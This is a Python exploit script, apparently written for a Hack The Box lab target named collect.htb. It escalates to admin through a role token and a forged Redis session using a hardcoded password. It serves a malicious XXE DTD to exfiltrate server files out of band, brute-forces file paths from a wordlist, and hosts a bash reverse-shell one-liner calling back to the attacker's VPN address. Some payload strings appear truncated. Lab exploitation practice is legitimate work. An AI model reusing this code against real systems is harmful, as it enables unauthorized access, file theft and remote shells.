import os import sys import time from threading import Thread import subprocess import netifaces as ni from flask import Flask import requests, base64 import argparse app = Flask(__name__) _path = "index.php" _phpsessionid = "" _ip = "" _gotReq = True _searcher=None _searching = False _searcher = None proxy = {'http':'http://127.0.0.1:8080'} s = requests.session() r = s.get('http://collect.htb/') _phpsessionid = s.cookies.get('PHPSESSID') r = s.post("http://collect.htb/register", data={'username': 'user', 'password': 'user'}) r = s.post("http://collect.htb/login", data={'username': 'user', 'password': 'user'}) r = s.post("http://collect.htb/set/role/admin", data={"token": "ddac62a28254561001277727cb397baf"}) r = s.post("http://collect.htb/set/role/admin", data={"token": ""}) print("Set to Admin") import subprocess # arr = ["redis-cli", "-h", "collect.htb", "-a", "COLLECTR3D1SPASS" ,"set", f"PHPREDIS_SESSION:{_phpsessionid}", 'username|s:4:\"user\";role|s:5:\"admin\";auth|s:4:\"True\";'] arr = ["redis-cli", "-h", "collect.htb", "-a", "COLLECTR3D1SPASS" ,"set", f"PHPREDIS_SESSION:mntn7eua54uhar8d4rrhfjslsp", 'username|s:4:\"user\";role|s:5:\"admin\";auth|s:4:\"True\";'] subprocess.call(arr) print(f"USE: {_phpsessionid}") parser = argparse.ArgumentParser() parser.add_argument('--port', type=int, required=False, default=80) args = parser.parse_args() def is_port_in_use(port: int) -> bool: import socket with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: return s.connect_ex((_ip, port)) == 0 or s.connect_ex(('127.0.0.1', port)) == 0 def getIP(nic): try: ip = ni.ifaddresses(nic)[ni.AF_INET][0]['addr'] print(f"Found IP {ip}") return ip # should print "192.168.100.37" except: return "" _ip = getIP('tun0') while _ip == "": print("Could not find IP address for VPN NIC") interface = input("Please enter the interface name: ") _ip = getIP(interface) while is_port_in_use(args.port): args.port += 1 import logging log = logging.getLogger('werkzeug') log.setLevel(logging.ERROR) @app.route('/c') def c(): return f"sh -i >& /dev/tcp/{_ip}/4444 0>&1" @app.route('/xxe.dtd') def xxe(): global _gotReq _gotReq = True return f""" "> %eval; %exfiltrate;""" @app.route('/file/') def file(content): content = base64.b64decode(content).decode() if content != "": print(content) t = _path.replace('../', '').replace('/', '.') while t[0] == ".": t = t[1:] if 'target' not in os.listdir(): os.mkdir('target') with open(f'target/{t}', "w+") as file: file.writelines(content) file.close() return "" def request(ip, id): data = f"""manage_api= %xxe;]>POST/auth/loginuser1pass""" try: requests.post("http://collect.htb/api", headers={'Cookie': f'PHPSESSID={id}', 'Content-type': 'application/x-www-form-urlencoded'}, data=data) except: pass pass class Server(Thread): port = 80 def __int__(self): super(Server, self).__init__() def setIP(self, ip): self.ip = ip def setPort(self, port): self.port = port def setServerObject(self, obj): self.app = obj def run(self) -> None: try: self.app.run(host=self.ip, port=self.port) except Exception as e: print(f"exception: {e}") class Singleton: """ A non-thread-safe helper class to ease implementing singletons. This should be used as a decorator -- not a metaclass -- to the class that should be a singleton. The decorated class can define one `__init__` function that takes only the `self` argument. Also, the decorated class cannot be inherited from. Other than that, there are no restrictions that apply to the decorated class. To get the singleton instance, use the `instance` method. Trying to use `__call__` will result in a `TypeError` being raised. """ def __init__(self, decorated): self._decorated = decorated def instance(self): """ Returns the singleton instance. Upon its first call, it creates a new instance of the decorated class and calls its `__init__` method. On all subsequent calls, the already created instance is returned. """ try: return self._instance except AttributeError: self._instance = self._decorated() return self._instance def __call__(self): raise TypeError('Singletons must be accessed through `instance()`.') @Singleton class Searcher(Thread): searcherapp = Flask("searcher") startpath = "." dirlist = "/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt" file = "" id = _phpsessionid port = 12346 while is_port_in_use(args.port): port += 1 _gotReq = False _path = "" def __int__(self): super(Server, self).__init__() @searcherapp.route('/xxe.dtd') def searcher_xxe(self=_searcher): s = Searcher.instance() s._gotReq = True return f""" "> %eval; %exfiltrate;""" @searcherapp.route('/file/') def file(content): global _searching content = base64.b64decode(content).decode() if content != "": print(f"\nfound: {Searcher.instance()._path}\n") print("> ") t = Searcher.instance()._path.replace('../', '').replace('/', '.') while t[0] == ".": t = t[1:] if 'target' not in os.listdir(): os.mkdir('target') with open(f'target/{t}', "w+") as file: file.writelines(content) file.close() _searching = False return "" def request(self, ip, id): data = f"""manage_api= %xxe;]>POST/auth/loginuser1pass""" try: requests.post("http://collect.htb/api", headers={'Cookie': f'PHPSESSID={id}', 'Content-type': 'application/x-www-form-urlencoded'}, data=data) except Exception as e: print(e.with_traceback()) pass def setup(self, file=None, id=None, startpath=None, dirlist=None): if file: self.file = file if startpath: self.startpath = startpath if id: self.id = id if dirlist: self.dirlist = dirlist def setFile(self, file): self.file = file def setStartPath(self, startpath): self.startpath = startpath def setID(self, id): self.id = id def setDirlist(self, dirlist): self.dirlist = dirlist def run(self) -> None: global _searching,_searcher _searcher = self s = Server() s.setIP(_ip) s.setPort(self.port) s.setServerObject(self.searcherapp) s.start() time.sleep(0.5) self.ar = [] _searching = True self._gotReq = True with open(self.dirlist) as dirs: self.ar = dirs.read().split("\n") for line in self.ar: if not _searching: print("Done searching") return self._path = str(f"{self.startpath}/{line}/{self.file}".replace("//", "/")) while self._gotReq == False: pass self._gotReq = False self.request(_ip, _phpsessionid) pass if __name__ == '__main__': pid = os.getpid() print(f"running on pid: {pid}") print("starting flask server") server = Server() server.setIP(_ip) server.setPort(args.port) server.setServerObject(app) server.start() time.sleep(0.5) print("Now input a path or 'exit', or 'search'") while True: _path = input("> ") if _searching and _path == "q": _searching = False if _path == "exit": subprocess.call(['kill', str(pid)]) exit(0) elif _path == "search": print("search file [startpath] [dirlist]") print( "example: search login.php ../../developers[default:''] /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt[default]") elif _path.split(" ")[0] == "search": s = Searcher.instance() s.setFile(_path.split(" ")[1]) s.setID(_phpsessionid) if len(_path.split(" ")) >= 3: s.setStartPath(startpath=_path.split(" ")[2]) if len(_path.split(" ")) >= 4: s.setDirlist(dirlist=_path.split(" ")[3]) s.start() time.sleep(0.5) else: request(_ip, _phpsessionid)